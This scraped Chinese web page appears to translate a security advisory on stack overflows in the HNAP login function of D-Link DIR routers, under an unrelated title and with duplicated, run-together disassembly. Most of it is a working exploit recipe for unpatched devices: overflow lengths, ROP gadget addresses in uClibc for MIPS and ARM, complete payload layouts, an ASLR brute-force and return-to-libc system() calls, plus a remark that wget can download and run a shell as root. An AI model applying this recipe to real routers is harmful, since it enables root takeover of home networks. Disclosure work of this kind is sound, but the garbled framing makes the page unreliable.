快捷搜索:  汽车  科技

第二个路由器dhcp自动获取(DIR路由器HNAP登录函数的多个漏洞)

第二个路由器dhcp自动获取(DIR路由器HNAP登录函数的多个漏洞)123456789101112131415161718192021222324252627parse_xml_value(char* request char* XMLtag char* tag_value)(...).text:00412264 xml_tag_value_start = $s2.text:00412264 xml_tag_value_end = $s1.text:00412264 C30 addu xml_tag_value_start $v0 $s0 # s2 now points to <Action>$value</Action>.text:00412268 C30 la $t9 strstr.text:0041226C C30 move $a1 xml_tag_value_end # needle.text:00412270

第二个路由器dhcp自动获取(DIR路由器HNAP登录函数的多个漏洞)(1)

翻译:Ox9A82

预估稿费:200RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

受影响产品的背景

智能手机,笔记本电脑,平板电脑,手机,智能电视,游戏机等设备都在同一时间进行连接。这就是为什么我们设计了新的AC3200 Ultra Wi-Fi路由器。通过Tri-Band技术,使得速度高达3.2Gbps,它提供了严苛环境下必要的超级性能,使得其成为最好的家庭无线路由器。

概要

Dlink路由器在LAN接口上存在一个名为HNAP(家庭网络管理协议)的协议。这是一种允许识别,配置和管理网络设备的SOAP协议。Dlink使用这个协议来实现通过LAN口与路由器的web接口进行通信。有关HNAP的更多信息,请参见[1]和[2]。

123456789101112131415161718192021222324252627parse_xml_value(char* request char* XMLtag char* tag_value)(...).text:00412264 xml_tag_value_start = $s2.text:00412264 xml_tag_value_end = $s1.text:00412264 C30 addu xml_tag_value_start $v0 $s0 # s2 now points to <Action>$value</Action>.text:00412268 C30 la $t9 strstr.text:0041226C C30 move $a1 xml_tag_value_end # needle.text:00412270 C30 jalr $t9 ; strstr.text:00412274 C30 move $a0 xml_tag_value_start # haystack.text:00412278 C30 lw $gp 0xC30 var_C20($sp).text:0041227C C30 beqz $v0 loc_4122BC.text:00412280 C30 subu xml_tag_value_end $v0 xml_tag_value_start # s1 now holds the ptr to <Action>value$</Action>.text:00412284 C30 bltz xml_tag_value_end loc_4122BC.text:00412288 C30 addiu $s0 $sp 0xC30 xml_tag_var.text:0041228C C30 la $t9 strncpy.text:00412290 C30 move $a2 xml_tag_value_end # n.text:00412294 C30 move $a1 xml_tag_value_start # src.text:00412298 C30 addu xml_tag_value_end $s0 xml_tag_value_end.text:0041229C C30 jalr $t9 ; strncpy # copies all chars in <Action>$value$</Action> to xml_tag_var using strncpy.text:004122A0 C30 move $a0 $s0 # dest.text:004122A4 C30 move $a0 a2_ptr # a2_ptr is a stack variable from hnap_main (passed as third argument to parse_xml_value).text:004122A8 C30 lw $gp 0xC30 var_C20($sp).text:004122AC C30 move $a1 $s0 # src.text:004122B0 C30 la $t9 strcpy# copies xml_tag_var into a2_ptr using strcpy.text:004122B4 C30 jalr $t9 ; strcpy # the stack of the calling function (hnap_main) is thrashed if 2408 bytes are sent.text:004122B8 C30 sb $zero 0(xml_tag_value_end)(...)

由于存在着两个溢出漏洞,因此我们有两个exp开发的选择:

1. 本地堆栈(在parse_xml_value上)可以被超过3096字节的数据溢出。即使是使用了strncpy这种溢出也会发生,因为strncpy的参数只是对XML标签中的值进行strlen得到的。

2. 或者,我们可以溢出调用函数(hnap_main)的堆栈,只需使用超过2408字节的数据即可。这是因为strcpy用于将xml_tag_var复制到由parse_xml_value接收的第三个参数,而它是一个指向hnap_main函数栈中局部变量的指针。

通过1. 进行利用要更容易一些,下面的例子将具体解释利用该如何进行。

所有受影响的MIPS设备使用相同版本的uClibc(libuClibc-0.9.30.3.so)并且都将其加载到0x2aabe000地址,这使得固件版本对利用来说并不重要。应该注意的是,MIPS设备使用基于Lextra RLX5281核心的RTL8881a CPU。Lextra RLX核心是MIPS的克隆版本,但它有一些缺陷,因为它们缺少一些加载和存储指令。由于这个原因,工作在MIPS上的一些通用shellcode可能无法工作在这些CPU(特别是经过混淆的)上。

这些设备不具有NX,ASLR或任何其他的现代内存保护机制,所以shellcode可以直接在堆栈上执行。但是,有必要通过ROP来设置堆栈以供执行,这可以通过libuClibc-0.9.30.3.so中的gadgets来实现。

由于MIPS CPU的工作方式,因此有必要在执行exp之前清除CPU的高速缓存。这可以通过调用libc中sleep()函数来强制清除。(参考http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html关于MIPS CPU缓存的解释)。

所以ROP链和shellcode看起来像:

1234567891011121314151617181920212223first_gadget - execute sleep and call second_gadget.text:0004EA1C move $t9 $s0 <- sleep().text:0004EA20 lw $ra 0x20 var_4($sp) <- second_gadget.text:0004EA24 li $a0 2 <- arg for sleep().text:0004EA28 lw $s0 0x20 var_8($sp).text:0004EA2C li $a1 1.text:0004EA30 move $a2 $zero.text:0004EA34 jr $t9 .text:0004EA38 addiu $sp 0x20second_gadget - puts stack pointer in a1:.text:0002468C addiu $s1 $sp 0x58.text:00024690 li $s0 0x44.text:00024694 move $a2 $s0.text:00024698 move $a1 $s1.text:0002469C move $t9 $s4.text:000246A0 jalr $t9.text:000246A4 move $a0 $s2third_gadget - call $a1 (which now has the stack pointer):.text:00041F3C move $t9 $a1.text:00041F40 move $a1 $a2.text:00041F44 addiu $a0 8.text:00041F48 jr $t9.text:00041F4C nop

当崩溃发生时,栈指针指向xml_tag_value[3128]。为了给shellcode留出更大的空间(3000 字节),可以跳到xml_tag_value[0]中。

123prep_shellcode_1 = 23bdf3c8 # addisp sp -3128prep_shellcode_2 = 03a0f809 # jalrspbranch_delay = 2084f830 # addia0 a0 -2000 (NOP executed as a MIPS branch delay slot)

最终的Action/Username/LoginPassword/Catpcha 的XML标签值将是:

1shellcode 'a'*(3072 - shellcode.size) sleep() '1'* 4 '2'* 4 '3'* 4 third_gadget first_gadget 'b'* 0x1c second_gadget 'c '* 0x58 prep_shellcode_1 prep_shellcode_2 branch_delay

'a','b'和'c'只是用于填充缓冲区的,而'1111','2222'和'3333'将是寄存器s1、s2、s3的值(这些寄存器对于exp是无用的),其余的是ROP链,shellcode和栈初始化程序。在payload中唯一不能发送的坏字节是空字节,因为这是一个str(n)cpy函数造成的溢出。最多可以发送3350个字符,因为超出之后很难去控制溢出的可靠性。注意,所有的这些利用的都是strncpy造成的第一个缓冲区溢出,但是第二个缓冲区溢出可以通过类似的方式进行利用。

如前面所述,由于使用了不完整的MIPS内核,因此在网上找到的通用shellcode可能会失败。可以通过做一些微小的工作来解决它,但是最好的方法是去制作一个可靠的shellcode。如果没有使用编码器的话,Metasploit生成的简单的bind shell似乎就可以稳定的工作。

123456789101112131415161718192021222324-----------------------ARM exploitation-----------------------The same two stack overflows affect ARM but require less bytes to overflow the stack. The following snippet is the same part of parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the DIR-868 Rev. B):.text:00018F34 C30 LDR R1 [R11 #src] ; src.text:00018F38 C30 LDR R2 [R11 #n] ; n.text:00018F3C C30 SUB R3 R11 #-xml_tag_var.text:00018F40 C30 SUB R3 R3 #4.text:00018F44 C30 SUB R3 R3 #4.text:00018F48 C30 MOV R0 R3 ; dest.text:00018F4C C30 BL strncpy ; first overflow occurs here (xml_tag_var in parse_xml_stack) with 1024 characters.text:00018F50 C30 MOV R3 #0xFFFFFBEC.text:00018F58 C30 LDR R2 [R11 #n].text:00018F5C C30 SUB R1 R11 #-var_4.text:00018F60 C30 ADD R2 R1 R2.text:00018F64 C30 ADD R3 R2 R3.text:00018F68 C30 MOV R2 #0.text:00018F6C C30 STRB R2 [R3] .text:00018F70 C30 SUB R3 R11 #-xml_tag_var.text:00018F74 C30 SUB R3 R3 #4.text:00018F78 C30 SUB R3 R3 #4.text:00018F7C C30 LDR R0 [R11 #a2_ptr] ; a2_ptr is is a stack variable from hnap_main.text:00018F80 C30 MOV R1 R3 ; src.text:00018F84 C30 BL strcpy ; second overflow occurs here

与MIPS的二进制文件相比,parse_xml_value和hnap_main的栈大小会变得更小。这一次,parse_xml_value中的strncpy溢出更容易被利用,只需要1024字节就足以溢出堆栈。与MIPS漏洞利用相同的是,唯一的坏字节是空字节。

受影响的ARM设备具有不可执行堆栈(NX)和32位ASLR的保护。 NX可以用ROP来关闭,而32位的ASLR很弱 - 地址中通常只有3个字节会发生变化,这意味着只有4096种可能。攻击需要执行多次,直到命中了正确的基地址,但这通常可以在少于1000次尝试中实现。

最容易进行的攻击是通过return-to-libc来调用system()函数执行命令。为此,R0在调用system()函数之前必须要指向命令所在的栈内存地址。所有受影响的ARM设备无论是何种固件版本的都使用相同的uClibc(libuClibc-0.9.32.1.so),这使得寻找gadgets更加容易,并允许构建一个可以在所有设备上使用的漏洞exp,并而无需进行任何修改。

1234567891011121314first_gadget (pops system() address into r3 and second_gadget into PC):.text:00018298 LDMFD SP! {R3 PC}second_gadget (puts the stack pointer into r0 and calls system() at r3): .text:00040CB8 MOV R0 SP.text:00040CBC BLX R3system() (Executes argument in r0 (our stack pointer).text:0005A270 systemThe final Action / Username / LoginPassword / Catpcha XML parameter value will be:'a' * 1024 0xffffffff 'b' * 16 'AAAA' first_gadget system() second_gadget commanda / b = filler0xffffffff = integer n (see below)AAAA = R11first_gadget = initial PCpayload = stack points here after execution of our ROP chain; it should point to whatever we want system() to execute

当溢出发生时,栈上局部变量“n”被覆盖,这个局部变量是用于计算内存地址的(见0x18F58)。为了避免在shellcode执行之前该进程就发生崩溃,这个变量需要被设置为一个有效内存地址。一个比较好的候选值是0xffffffff,因为这将从计算的内存地址中减去1,以防止无效的内存访问。

从这一点出发,可以在payload中执行任何命令。例如,wget可以用于下载shell并执行,或者可以启动telnet服务器。所有命令将以root权限来执行。

修复建议

Dlink并没有响应CERT的请求,因此在撰写本文时并没有可用的固件补丁。

鉴于此漏洞只能在LAN中进行利用,所以建议使用高强度的wifi密码,以防止不受信任的客户端连接到路由器。

参考链接

[1] https://isc.sans.edu//diary/More on HNAP - What is it How to Use it How to Find it/17648

[2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol

[3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/

[4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/

[5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/

[6] https://packetstormsecurity.com/files/134370/D-Link-DIR-818W-Buffer-Overflow-Command-Injection.html

[7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf

[8] http://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection

[9] https://github.com/rapid7/metasploit-framework/pull/7543

[10] https://www.kb.cert.org/vuls/id/677427

猜您喜欢: